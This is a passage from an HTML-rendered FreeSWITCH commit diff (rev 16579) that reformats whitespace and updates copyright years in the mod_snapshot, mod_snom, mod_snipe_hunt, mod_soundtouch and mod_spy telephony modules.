</span><del>-        SWITCH_CONFIG_ITEM("codec-negotiation-str", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &globals.codec_negotiation_str, "greedy", &config_opt_codec_negotiation, \
-                "greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
-        SWITCH_CONFIG_ITEM("codec-negotiation", SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, &globals.codec_negotiation, (void*)CODEC_NEGOTIATION_GREEDY, &config_opt_codec_negotiation_enum,
-                "greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
-        SWITCH_CONFIG_ITEM_CALLBACK("sip-trace", SWITCH_CONFIG_BOOL, CONFIG_RELOADABLE, &globals.sip_trace, (void*)SWITCH_FALSE, (switch_xml_config_callback_t)config_callback_siptrace, NULL,
-                "yes|no", "If enabled, print out sip messages on the console."),
-        SWITCH_CONFIG_ITEM("integer", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, &globals.integer, (void*)100, &config_opt_integer,
-                NULL, NULL),
</del><ins>+        SWITCH_CONFIG_ITEM("codec-negotiation-str", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &globals.codec_negotiation_str, "greedy",
+                                         &config_opt_codec_negotiation,
+                                         "greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
+        SWITCH_CONFIG_ITEM("codec-negotiation", SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, &globals.codec_negotiation, (void *) CODEC_NEGOTIATION_GREEDY,
+                                         &config_opt_codec_negotiation_enum,
+                                         "greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
+        SWITCH_CONFIG_ITEM_CALLBACK("sip-trace", SWITCH_CONFIG_BOOL, CONFIG_RELOADABLE, &globals.sip_trace, (void *) SWITCH_FALSE,
+                                                                (switch_xml_config_callback_t) config_callback_siptrace, NULL,
+                                                                "yes|no", "If enabled, print out sip messages on the console."),
+        SWITCH_CONFIG_ITEM("integer", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, &globals.integer, (void *) 100, &config_opt_integer,
+                                         NULL, NULL),
</ins><span class="cx">         SWITCH_CONFIG_ITEM_END()
</span><span class="cx"> };
</span><span class="cx">
</span><span class="lines">@@ -102,14 +106,14 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Could not open skel.conf\n");
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_STANDARD_API(skel_function)
</span><span class="cx"> {
</span><span class="cx">         do_config(SWITCH_TRUE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -121,9 +125,9 @@
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Hello World!\n");
</span><del>-        
</del><ins>+
</ins><span class="cx">         do_config(SWITCH_FALSE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         SWITCH_ADD_API(api_interface, "skel", "Skel API", skel_function, "syntax");
</span><span class="cx">
</span><span class="cx">         /* indicate that the module should continue to be loaded */
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_snapshotmod_snapshotc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_snapshot/mod_snapshot.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_snapshot/mod_snapshot.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_snapshot/mod_snapshot.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -65,17 +65,18 @@
</span><span class="cx">
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_ABC_TYPE_READ:
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (cb->buffer) {
</span><span class="cx">                         uint8_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
</span><span class="cx">                         switch_frame_t frame = { 0 };
</span><span class="cx">
</span><span class="cx">                         frame.data = data;
</span><span class="cx">                         frame.buflen = SWITCH_RECOMMENDED_BUFFER_SIZE;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_mutex_trylock(cb->mutex) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 while (switch_core_media_bug_read(bug, &frame, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS && !switch_test_flag((&frame), SFF_CNG)) {
</span><del>-                                        if (frame.datalen) switch_buffer_slide_write(cb->buffer, frame.data, frame.datalen);
</del><ins>+                                        if (frame.datalen)
+                                                switch_buffer_slide_write(cb->buffer, frame.data, frame.datalen);
</ins><span class="cx">                                 }
</span><span class="cx">                                 switch_mutex_unlock(cb->mutex);
</span><span class="cx">                         }
</span><span class="lines">@@ -95,7 +96,7 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_media_bug_t *bug;
</span><span class="cx">         switch_status_t status;
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         struct cap_cb *cb;
</span><span class="cx">         switch_size_t bytes;
</span><span class="cx">         switch_bind_flag_t bind_flags = 0;
</span><span class="lines">@@ -109,16 +110,16 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Must be at least 5 seconds!\n");
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
- switch_core_session_get_read_impl(session, &read_impl);
</del><span class="cx">
</span><ins>+        switch_core_session_get_read_impl(session, &read_impl);
+
</ins><span class="cx">         if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         cb = switch_core_session_alloc(session, sizeof(*cb));
</span><span class="cx">         cb->base = switch_core_session_strdup(session, base);
</span><del>-        
</del><ins>+
</ins><span class="cx">         bytes = read_impl.samples_per_second * seconds * 2;
</span><span class="cx">
</span><span class="cx">         switch_buffer_create_dynamic(&cb->buffer, bytes, bytes, bytes);
</span><span class="lines">@@ -132,7 +133,7 @@
</span><span class="cx">         switch_ivr_bind_dtmf_meta_session(session, 7, bind_flags, "snapshot::snap");
</span><span class="cx">
</span><span class="cx">         switch_channel_set_private(channel, "snapshot", bug);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -141,11 +142,11 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_media_bug_t *bug = switch_channel_get_private(channel, "snapshot");
</span><span class="cx">         char *file;
</span><del>-        switch_file_handle_t fh = {0};
-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_file_handle_t fh = { 0 };
+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         switch_size_t bytes_read;
</span><del>-        int16_t pdata[4096] = {0};
-                
</del><ins>+        int16_t pdata[4096] = { 0 };
+
</ins><span class="cx">         if (bug) {
</span><span class="cx">                 switch_time_exp_t tm;
</span><span class="cx">                 switch_size_t retsize;
</span><span class="lines">@@ -158,19 +159,17 @@
</span><span class="cx">
</span><span class="cx">                 switch_time_exp_lt(&tm, switch_time_make(switch_epoch_time_now(NULL), 0));
</span><span class="cx">                 switch_strftime(date, &retsize, sizeof(date), "%Y_%m_%d_%H_%M_%S", &tm);
</span><del>-                        
-                file = switch_core_session_sprintf(session, "%s%s%s_%s.wav", SWITCH_GLOBAL_dirs.sounds_dir,
-                                                                                 SWITCH_PATH_SEPARATOR, cb->base, date);
</del><span class="cx">
</span><ins>+                file = switch_core_session_sprintf(session, "%s%s%s_%s.wav", SWITCH_GLOBAL_dirs.sounds_dir, SWITCH_PATH_SEPARATOR, cb->base, date);
+
</ins><span class="cx">                 switch_core_session_get_read_impl(session, &read_impl);
</span><span class="cx">                 fh.channels = 0;
</span><span class="cx">                 fh.native_rate = read_impl.actual_samples_per_second;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 if (switch_core_file_open(&fh,
</span><span class="cx">                                                                  file,
</span><span class="cx">                                                                  0,
</span><del>-                                                                 read_impl.actual_samples_per_second,
-                                                                 SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                 read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error opening %s\n", file);
</span><span class="cx">                         switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                         switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
</span><span class="lines">@@ -180,7 +179,7 @@
</span><span class="cx">                 switch_mutex_lock(cb->mutex);
</span><span class="cx">                 while ((bytes_read = switch_buffer_read(cb->buffer, pdata, sizeof(pdata)))) {
</span><span class="cx">                         switch_size_t samples = bytes_read / 2;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         if (switch_core_file_write(&fh, pdata, &samples) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="lines">@@ -205,8 +204,8 @@
</span><span class="cx">
</span><span class="cx">         if (!zstr(data) && (lbuf = switch_core_session_strdup(session, data))) {
</span><span class="cx">                 argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
</span><del>-        }
-        
</del><ins>+        }
+
</ins><span class="cx">         if (argc < 1) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Usage: %s\n", SNAP_SYNTAX);
</span><span class="cx">                 return;
</span><span class="lines">@@ -240,7 +239,7 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 start_capture(session, seconds, flags, base);
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (!strcasecmp(argv[0], "snap")) {
</span><span class="lines">@@ -276,7 +275,7 @@
</span><span class="cx">                                 const char *base = argv[3];
</span><span class="cx">                                 int seconds = 5;
</span><span class="cx">                                 switch_media_bug_flag_t flags = SMBF_READ_STREAM | SMBF_WRITE_STREAM | SMBF_READ_PING;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (sec) {
</span><span class="cx">                                         int tmp = atoi(sec);
</span><span class="cx">                                         if (tmp > 5) {
</span><span class="lines">@@ -297,7 +296,7 @@
</span><span class="cx">                                 if (!base) {
</span><span class="cx">                                         base = "mod_snapshot";
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 status = start_capture(lsession, seconds, flags, base);
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="lines">@@ -311,7 +310,7 @@
</span><span class="cx">                 stream->write_function(stream, "-ERR Operation Failed\n");
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         switch_safe_free(mycmd);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -327,7 +326,7 @@
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Hello World!\n");
</span><del>-        
</del><ins>+
</ins><span class="cx">         SWITCH_ADD_API(api_interface, "uuid_snapshot", "Snapshot API", snapshot_function, SNAP_API_SYNTAX);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "snapshot", "", "", snapshot_app_function, SNAP_SYNTAX, SAF_SUPPORT_NOMEDIA);
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_snipe_huntmod_snipe_huntc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_snipe_hunt/mod_snipe_hunt.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_snipe_hunt/mod_snipe_hunt.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_snipe_hunt/mod_snipe_hunt.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -55,42 +55,46 @@
</span><span class="cx">         int integer;
</span><span class="cx"> } globals;
</span><span class="cx">
</span><del>-static switch_status_t config_callback_siptrace(switch_xml_config_item_t *data, switch_config_callback_type_t callback_type, switch_bool_t changed)
</del><ins>+static switch_status_t config_callback_siptrace(switch_xml_config_item_t *data, switch_config_callback_type_t callback_type, switch_bool_t changed)
</ins><span class="cx"> {
</span><del>-        switch_bool_t value = *(switch_bool_t*)data->ptr;
</del><ins>+        switch_bool_t value = *(switch_bool_t *) data->ptr;
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "In siptrace callback: value %s changed %s\n",
</span><del>-                value ? "true" : "false", changed ? "true" : "false");
-        
-        
</del><ins>+                                         value ? "true" : "false", changed ? "true" : "false");
+
+
</ins><span class="cx">         /*
</span><del>-        if ((callback_type == CONFIG_LOG || callback_type == CONFIG_RELOAD) && changed) {
-                nua_set_params(((sofia_profile_t*)data->functiondata)->nua, TPTAG_LOG(value), TAG_END());
-        }
-        */
-        
</del><ins>+         if ((callback_type == CONFIG_LOG || callback_type == CONFIG_RELOAD) && changed) {
+         nua_set_params(((sofia_profile_t*)data->functiondata)->nua, TPTAG_LOG(value), TAG_END());
+         }
+         */
+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_xml_config_string_options_t config_opt_codec_negotiation = { NULL, 0, "greedy|generous|evil" };
</span><ins>+
</ins><span class="cx"> /* enforce_min, min, enforce_max, max */
</span><span class="cx"> static switch_xml_config_int_options_t config_opt_integer = { SWITCH_TRUE, 0, SWITCH_TRUE, 10 };
</span><del>-static switch_xml_config_enum_item_t config_opt_codec_negotiation_enum[] = {
-        { "greedy", CODEC_NEGOTIATION_GREEDY },
-        { "generous", CODEC_NEGOTIATION_GENEROUS },
-        { "evil", CODEC_NEGOTIATION_EVIL },
-        { NULL, 0 }
</del><ins>+static switch_xml_config_enum_item_t config_opt_codec_negotiation_enum[] = {
+        {"greedy", CODEC_NEGOTIATION_GREEDY},
+        {"generous", CODEC_NEGOTIATION_GENEROUS},
+        {"evil", CODEC_NEGOTIATION_EVIL},
+        {NULL, 0}
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> static switch_xml_config_item_t instructions[] = {
</span><span class="cx">         /* parameter name type reloadable pointer default value options structure */
</span><del>-        SWITCH_CONFIG_ITEM("codec-negotiation-str", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &globals.codec_negotiation_str, "greedy", &config_opt_codec_negotiation, \
-                "greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
-        SWITCH_CONFIG_ITEM("codec-negotiation", SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, &globals.codec_negotiation, (void*)CODEC_NEGOTIATION_GREEDY, &config_opt_codec_negotiation_enum,
-                "greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
-        SWITCH_CONFIG_ITEM_CALLBACK("sip-trace", SWITCH_CONFIG_BOOL, CONFIG_RELOADABLE, &globals.sip_trace, (void*)SWITCH_FALSE, (switch_xml_config_callback_t)config_callback_siptrace, NULL,
-                "yes|no", "If enabled, print out sip messages on the console."),
-        SWITCH_CONFIG_ITEM("integer", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, &globals.integer, (void*)100, &config_opt_integer,
-                NULL, NULL),
</del><ins>+        SWITCH_CONFIG_ITEM("codec-negotiation-str", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &globals.codec_negotiation_str, "greedy",
+                                         &config_opt_codec_negotiation,
+                                         "greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
+        SWITCH_CONFIG_ITEM("codec-negotiation", SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, &globals.codec_negotiation, (void *) CODEC_NEGOTIATION_GREEDY,
+                                         &config_opt_codec_negotiation_enum,
+                                         "greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
+        SWITCH_CONFIG_ITEM_CALLBACK("sip-trace", SWITCH_CONFIG_BOOL, CONFIG_RELOADABLE, &globals.sip_trace, (void *) SWITCH_FALSE,
+                                                                (switch_xml_config_callback_t) config_callback_siptrace, NULL,
+                                                                "yes|no", "If enabled, print out sip messages on the console."),
+        SWITCH_CONFIG_ITEM("integer", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, &globals.integer, (void *) 100, &config_opt_integer,
+                                         NULL, NULL),
</ins><span class="cx">         SWITCH_CONFIG_ITEM_END()
</span><span class="cx"> };
</span><span class="cx">
</span><span class="lines">@@ -102,14 +106,14 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Could not open snipe_hunt.conf\n");
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_STANDARD_API(snipe_hunt_function)
</span><span class="cx"> {
</span><span class="cx">         do_config(SWITCH_TRUE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -121,9 +125,9 @@
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Hello World!\n");
</span><del>-        
</del><ins>+
</ins><span class="cx">         do_config(SWITCH_FALSE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         SWITCH_ADD_API(api_interface, "snipe_hunt", "Snipe_Hunt API", snipe_hunt_function, "syntax");
</span><span class="cx">
</span><span class="cx">         /* indicate that the module should continue to be loaded */
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_snommod_snomc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_snom/mod_snom.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_snom/mod_snom.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_snom/mod_snom.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -33,14 +33,9 @@
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_snom_load);
</span><span class="cx"> SWITCH_MODULE_DEFINITION(mod_snom, mod_snom_load, NULL, NULL);
</span><span class="cx">
</span><del>-static switch_bool_t snom_bind_key(const char *key,
-                                                                 const char *light,
-                                                                 const char *label,
-                                                                 const char *user,
-                                                                 const char *host,
-                                                                 const char *profile,
-                                                                 const char *action_name,
-                                                                 const char *action)
</del><ins>+static switch_bool_t snom_bind_key(const char *key,
+                                                                 const char *light,
+                                                                 const char *label, const char *user, const char *host, const char *profile, const char *action_name, const char *action)
</ins><span class="cx"> {
</span><span class="cx">         switch_event_t *event;
</span><span class="cx">
</span><span class="lines">@@ -61,7 +56,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 return SWITCH_TRUE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_FALSE;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -92,17 +87,17 @@
</span><span class="cx">         if (argc < 6) {
</span><span class="cx">                 goto err;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (snom_bind_key(argv[0], argv[1], argv[2], argv[3], argv[4], argv[5], argv[6], argv[7])) {
</span><span class="cx">                 stream->write_function(stream, "+OK %s\n", cmd);
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
- err:
</del><span class="cx">
</span><ins>+ err:
+
</ins><span class="cx">         stream->write_function(stream, "-Error %s\n", KEY_BIND_SYNTAX);
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         free(mydata);
</span><span class="cx">
</span><span class="lines">@@ -122,7 +117,7 @@
</span><span class="cx">         SWITCH_ADD_API(commands_api_interface, "snom_bind_key", "Bind a key", snom_bind_key_api_function, KEY_BIND_SYNTAX);
</span><span class="cx">         SWITCH_ADD_API(commands_api_interface, "snom_url", "url", snom_url_api_function, URL_SYNTAX);
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* indicate that the module should continue to be loaded */
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_soundtouchmod_soundtouchcpp"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_soundtouch/mod_soundtouch.cpp (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_soundtouch/mod_soundtouch.cpp        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_soundtouch/mod_soundtouch.cpp        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_spymod_spyc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_spy/mod_spy.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_spy/mod_spy.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_spy/mod_spy.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -39,10 +39,10 @@
</span><span class="cx"> SWITCH_MODULE_DEFINITION(mod_spy, mod_spy_load, mod_spy_shutdown, NULL);
</span><span class="cx">
</span><span class="cx"> struct mod_spy_globals {
</span><del>-        switch_memory_pool_t* pool;
-        switch_event_node_t* node;
-        switch_hash_t* spy_hash;
-        switch_thread_rwlock_t* spy_hash_lock;
</del><ins>+        switch_memory_pool_t *pool;
+        switch_event_node_t *node;
+        switch_hash_t *spy_hash;
+        switch_thread_rwlock_t *spy_hash_lock;
</ins><span class="cx">         uint32_t spy_count;
</span><span class="cx"> } globals;
</span><span class="cx">
</span><span class="lines">@@ -50,14 +50,14 @@
</span><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">
</span><del>-        char* data = switch_channel_get_private(channel,"_userspy_");
</del><ins>+        char *data = switch_channel_get_private(channel, "_userspy_");
</ins><span class="cx">         switch_thread_rwlock_wrlock(globals.spy_hash_lock);
</span><del>-        
-        if ((switch_core_hash_delete(globals.spy_hash,data) != SWITCH_STATUS_SUCCESS)) {
-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,"No such key in userspy: %s \n",data);
</del><span class="cx">
</span><del>-        } else {        
-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,"Userspy deactivated on %s\n",data);
</del><ins>+        if ((switch_core_hash_delete(globals.spy_hash, data) != SWITCH_STATUS_SUCCESS)) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "No such key in userspy: %s \n", data);
+
+        } else {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Userspy deactivated on %s\n", data);
</ins><span class="cx">                 globals.spy_count--;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -68,16 +68,16 @@
</span><span class="cx"> static switch_status_t spy_on_exchange_media(switch_core_session_t *session)
</span><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><del>-        const char* spy_uuid = switch_channel_get_variable(channel,"spy_uuid");
-
</del><ins>+        const char *spy_uuid = switch_channel_get_variable(channel, "spy_uuid");
+
</ins><span class="cx">         if (spy_uuid) {
</span><del>-                if (switch_ivr_eavesdrop_session(session,spy_uuid,NULL,ED_DTMF) != SWITCH_STATUS_SUCCESS) {
-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,"Can't eavesdrop on uuid %s\n",spy_uuid);
</del><ins>+                if (switch_ivr_eavesdrop_session(session, spy_uuid, NULL, ED_DTMF) != SWITCH_STATUS_SUCCESS) {
+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Can't eavesdrop on uuid %s\n", spy_uuid);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        switch_channel_set_state(channel,CS_PARK);
- return SWITCH_STATUS_FALSE;
</del><ins>+        switch_channel_set_state(channel, CS_PARK);
+        return SWITCH_STATUS_FALSE;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t spy_on_park(switch_core_session_t *session)
</span><span class="lines">@@ -85,7 +85,7 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         const char *moh = switch_channel_get_variable(channel, "hold_music");
</span><span class="cx">
</span><del>-        while(switch_channel_ready(channel) && switch_channel_get_state(channel) == CS_PARK) {
</del><ins>+        while (switch_channel_ready(channel) && switch_channel_get_state(channel) == CS_PARK) {
</ins><span class="cx">                 if (moh) {
</span><span class="cx">                         switch_status_t status = switch_ivr_play_file(session, NULL, moh, NULL);
</span><span class="cx">                         if (!SWITCH_READ_ACCEPTABLE(status)) {
</span><span class="lines">@@ -98,13 +98,13 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> static const switch_state_handler_table_t spy_state_handlers = {
</span><del>- /*.on_init */ NULL,
- /*.on_routing */ NULL,
- /*.on_execute */ NULL,
- /*.on_hangup */ spy_on_hangup,
- /*.on_exchange_media */ spy_on_exchange_media,
- /*.on_soft_execute */ NULL,
- /*.on_consume_media */ NULL,
</del><ins>+        /*.on_init */ NULL,
+        /*.on_routing */ NULL,
+        /*.on_execute */ NULL,
+        /*.on_hangup */ spy_on_hangup,
+        /*.on_exchange_media */ spy_on_exchange_media,
+        /*.on_soft_execute */ NULL,
+        /*.on_consume_media */ NULL,
</ins><span class="cx">         /* on_hibernate */ NULL,
</span><span class="cx">         /* on reset */ NULL,
</span><span class="cx">         /* on_park */ spy_on_park,
</span><span class="lines">@@ -113,29 +113,29 @@
</span><span class="cx"> SWITCH_STANDARD_API(dump_hash)
</span><span class="cx"> {
</span><span class="cx">         switch_hash_index_t *hi;
</span><del>-        const void* key;
-        void* val;
</del><ins>+        const void *key;
+        void *val;
</ins><span class="cx">
</span><span class="cx">         switch_thread_rwlock_rdlock(globals.spy_hash_lock);
</span><span class="cx">
